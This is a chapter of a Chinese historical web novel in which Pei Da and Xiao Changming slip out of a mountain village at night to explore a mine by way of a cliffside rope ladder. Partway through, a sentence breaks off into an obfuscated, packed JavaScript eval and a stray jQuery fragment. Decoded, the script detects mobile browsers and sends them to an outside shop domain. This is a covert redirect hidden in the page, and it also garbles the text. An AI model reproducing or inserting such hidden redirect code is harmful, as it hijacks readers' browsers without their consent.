屋内安静了片刻。
萧长明就那么似笑非笑地盯着裴妲,眼底带着审视与打量,等着她的下一步动作。
最终裴妲先败下阵来,举起手做出投降的姿势:“好吧,是我多嘴,不该问。”
“算你识相。”萧长明轻哼两声,紧绷的神色放松下来。
他把米面放好,脱了外氅坐在炕上,垂眸看着裴妲脚边那点被碾过的地面,悠悠地问:“你刚才在地上画什么?”
裴妲一愣,没想到他眼睛这么尖,微微皱眉,有些犹豫地开口:“随手画了些山川地势……”
“裴公子,您这可就不地道了。”萧长明轻啧一声:“不是说对朋友抱有信任吗?怎么就我信任您,您不信任我?又和我玩藏着掖着那一套?”
裴妲被他堵得接不上话,张嘴想解释,又怕萧长明觉得自己在狡辩。
沉默片刻后叹了口气,她弯腰捡起树枝,蹲在地上把那副简陋的地图又画了一遍。
她一边画一边解释线条含义:“这是下山后去定州的路,沿着山路往西走一段能看见定州城墙的轮廓。这里是定州城墙布防……”
“打住!”听到这里萧长明忽然出声叫停,指尖在桌面上急促地叩了两下:“这我就不用听了,省的您回头还要费心思灭口。”
裴妲捏着树枝的手一顿,抬头看他。
只见萧长明皱着眉,眼睛盯着土墙,不看地上的草图,一副“我什么都没看见”的样子。
裴妲被他这样逗乐了,没有继续勉强他听下去。
她将画了地图的地划拉干净,又用脚踩实,确保不会有人再看出痕迹,顺嘴安慰了一句萧长明:“定州现在什么情况还不清楚,这都是以前的旧地图。”
“那我也不想知道。”萧长明答得飞快。
裴妲盯着他看了好半天,觉得他有些奇怪。
这人敢替皇子办事,敢一个人带着仆从就往北境跑,总该是有些手段谋略的,可为什么总表现出一副什么都不敢参与的胆怯模样?
她的眼神过于直白,萧长明被她盯得有些不自在,避开她的目光解释道:“知道太多不该知道的事,下场一般不会太好。”
裴妲“哦”了一声,随口接上一句:“比如你和大皇子?”
萧长明轻啧,盯着她又不说话了。
好吧,这又是问到他不愿意回答的,不高兴了。
裴妲和他相处这么多天,自觉已经摸到了几分他的脾气。心情好时和颜悦色,能笑着和你拌两句嘴,心情不好时就垮着脸不理人,碰见不想回答的问题就直接闭嘴不说话了。
总得来说,想什么都写在脸上,不需要费心猜他的心思,还不算难伺候。
裴妲识趣地没有继续追问,换了个话头,说起萧长明离开前聊的事:“你先去休息吧,我们今天晚上去矿洞看一眼。”
话音刚落,门“吱呀”一声开了。
阿福端着盆热水进屋,他刚在外面帮着寨民砍柴,肩上还有未化的雪粒。
他听到裴妲说的那句“晚上去矿洞看一眼”,顿时愣在原地,连手里的水盆都忘了放下,警惕地看着裴妲,急切地问:“什么矿洞?裴公子不会又要丢下我家小姐一个人走吧?”
裴妲和萧长明对视一眼,
裴妲:“你没有告诉他?”
萧长明:“我病着,还以为你说了。”
裴妲:“他是你的仆从,当然该你告诉他。”
两人一对,这才发现自己和对方“交心”的时候竟然把阿福忘记了。
裴妲有些过意不去,抬手想拍拍阿福的肩膀,以示亲近。
阿福看见她抬手,却是下意识往旁边缩了一步,赔着笑脸道:“裴公子,你要是有不方便告诉我的提前说一声,我不听就是了,倒也不用像上次那样。”
他悄悄往萧长明身边挪了挪,躲着裴妲,小声和萧长明嘀咕着:“他手劲好大,上次打了我之后脖子疼了好久呢。”
裴妲讪讪地收回手,尴尬地咳了一声:“上次是意外,我保证以后不会突然动手了。”
阿福点点头,并不相信她说的话。
裴妲也不纠结这个,把今晚的计划简略说了一遍。
她原就是打算和萧长明一起去矿洞探查,让阿福留在屋里做内应,这样万一半夜有人找来阿福也能周旋一二,不至于那么快露馅。
可阿福听后呆愣一瞬,当即说道:“我也要去!”
萧长明皱眉一皱,“你去干什么?”
阿福“哎呦”一声,一跺脚,急了:“我从小就跟着您,这么危险的事,万一您要是出了事……”
话说到这里他觉得这话不吉利,赶紧“呸呸”两声,抽了自己一嘴巴:“不能说这些不吉利的。反正您要是不让我去我就偷偷跟着!”
萧长明看着他这幅又急又怕的模样,拒绝的话到了嘴边突然说不出口了。
他与阿福从小一起长大,说是主仆实际算半个兄弟,父母去世后世间唯有阿福和他最亲近。
可夜探矿坑这种事,越是人多越是容易出纰漏。
“你留下。”萧长明难得正色道:“今天我出去时秦寨主多问了几句,防着她半夜上门,你得留下替我们遮掩。”
“可是……可是……”阿福张张嘴,还想再争辩几句,可看着萧长明难得认真的神色,最终还是把话咽了下去,闷闷地应了声“是”,又补了一句:“那你们要是天亮还没回来我肯定是要去找你们的。”
萧长明拍拍他的肩膀,安慰道:“放心,不会丢下你的。”
入夜后,寨子里的灯火一盏盏熄灭。
山里冬夜来的早,酉时刚过天色就暗下来,寨民纷纷回屋躲风,门窗紧闭,寨里安静得只剩下风声在回荡。
裴妲熄了油灯,合衣躺在炕上,闭着眼呼吸平稳。
黑暗中她凭借耳朵捕捉外界的情况,风声、雪落地的窸窣声、隔壁屋子男人的咳嗽声……还有身边躺着的萧长明。
萧长明侧躺着,他在黑暗看不见,只能徒劳地睁大眼睛盯着黑暗看。
他的病还没有好全,夜里天冷呼吸有些不畅,努力地想平稳呼吸,可惜收效甚微,只能躲在褥子里等着裴妲招呼他出发。
莫约过了半个时辰,萧长明半阖眼都快睡着了,裴妲却是悄悄翻身坐起。
她借着炉火微弱的灯光拿出早已准备好的麻绳捆在腰上,又将短刀藏在袖中方便取用,都准备好后才轻轻推了推萧长明。
萧长明猛地睁开眼,困意消失得无影无踪,在黑暗中与裴妲对视,无声地做了个口型:准备好了?
裴妲点头。
两人悄无声息地下炕,推门出去。
寨子里漆黑一片,偶有几间屋子的窗缝里透出一点光亮。
裴妲走在前面,带着萧长明从屋后绕了半圈,沿着屋子背光的暗面往寨子外走去。
她脚步落得轻又快,每一下确定踩实了才落脚,确保不会发出声响。
萧长明跟在她身后,每一步都落在裴妲的脚印上,学着她的样子走路。
他从没有干过这种偷鸡摸狗的事,一时间觉得新奇又刺激。
他悄悄捏紧藏在袖中的短刃,暗自开始设想要是被发现了该怎么脱身,暗暗庆幸自己穿了身暗色衣裳,在夜里应该没那么容易被发现。
可惜他的担忧完全是多余了。
两人顺利地翻过低矮的栅栏,出了寨子后先是沿着溪流的方向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814853|211010||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
往东走了一段,又转道往北绕了一大圈。
出了寨子周边的范围,脚下的雪逐渐蓬松起来,一脚踩下去雪能没过脚踝,行走变得吃力许多。
萧长明走得有些艰难,他左右看着周围的路总觉得眼熟,但他又不认识路也不好意思问,又怕裴妲记错了路一起迷了路。
他深一脚浅一脚跟了许久,终于是没忍住开口:“裴公子,这路我们是不是走过?”
在前方带路的裴妲听见声音下意识抽出短刀,意识到是萧长明后又松了口气,放松下来。
萧长明看着她这样忍不住低声道:“裴公子,您太紧张了。”
“习惯了。”裴妲头也不回地答了一句。
萧长明赶紧趁着她停下脚的功夫,赶紧小跑两步追到她身边:“你还没回答我呢,你是不是带错了路了。”
裴妲看着他衣摆上沾着雪,伸手搀着住他,萧长明也不矫情,顺势扶住她。
裴妲解释说:“没走错。我绕了一段路,万一被人发现还有解释的余地。”
萧长明也不多问,扶着裴妲继续往前走。
反正这天寒地冻的,杀人灭口也不用特意跑这一趟。
莫约又走了两刻钟,前方的路又逐渐清晰起来,脚下的泥地越来越硬,路边的薄雪上掩着几点粗媒的痕迹。
“到了。”裴妲停下拨开盖着积雪的灌木,漏出一条狭窄的小径。
小径蜿蜒曲折,一直延伸到前方的断崖处,崖边光秃秃的,没有灌木遮挡,一眼望去只见黑沉沉的深渊,看不见底。
萧长明走到崖边,好奇探头看了一眼,只觉得头皮发麻。
悬崖几乎垂直,崖壁上横钉着用来攀扶的木桩,粗绳和木板搭成的云梯挂在崖壁上,沿着崖壁一直往下,消失在山雾中,看不见尽头。
萧长明不自觉后退两步,面上没露出太多惧色,只是声音低了几分:“这是你说的那条拿命搏的路?”
裴妲应了一声,手上已经开始动作,她解下捆在腰上的绳子,在崖边一棵粗壮点松树上干捆两圈,绳子另一头系在自己的腰上。
萧长明看着她娴熟的动作,发现自己跟来并没什么用。
他刚想问裴妲自己要做什么时,裴妲已经把绳子递到他手上:“我到下面后会拉动绳子,一长两短表示安全,三短表示有危险。”顿了顿又嘱咐道:“你在上面待着,绳子动了就拉,拉不动回去叫人,别硬拽,当心自己掉下去。”
萧长明在崖边找了块石头坐下,拢拢衣服,一副镇定自若的模样:“知道了,赶紧去吧,耽误太久我就不等你了。”
“你在上面当心。”裴妲最后嘱咐了他一句,而后转身沿着云梯往下攀。
老旧的云梯在她脚下发出吱呀声,踏上去时云梯不住地晃动。
裴妲将重心偏在横钉在崖壁上的木桩上,手指扣住崖壁上凸起的石缝里,贴着岩壁一点点往下挪。
萧长明坐在悬崖边上,感受着手中的麻绳一点点往下滑,滑一点停一下,应该是裴妲在寻找安全的落脚点。
只是每次麻绳停住时萧长明都忍不住捏紧手中绳子,意识到自己过于紧张时他又迅速松开,如此反复。
一股微妙的说不清的感觉从心底升起,搅得萧长明心神不宁。
他忍不住又探身往悬崖下看。
裴妲动作快,不过片刻的功夫已经已经消失在山雾间看不见身影了。
萧长明收回目光,重新坐回去,无意识地将绳子在手心绕了两圈,又松开。
山间又起风了,风从崖底往上灌,呜呜地吹过他的脸颊。
萧长明缩缩脖子,把半张脸埋进衣领里,目光却一直盯着手中的麻绳上,不肯挪开半分。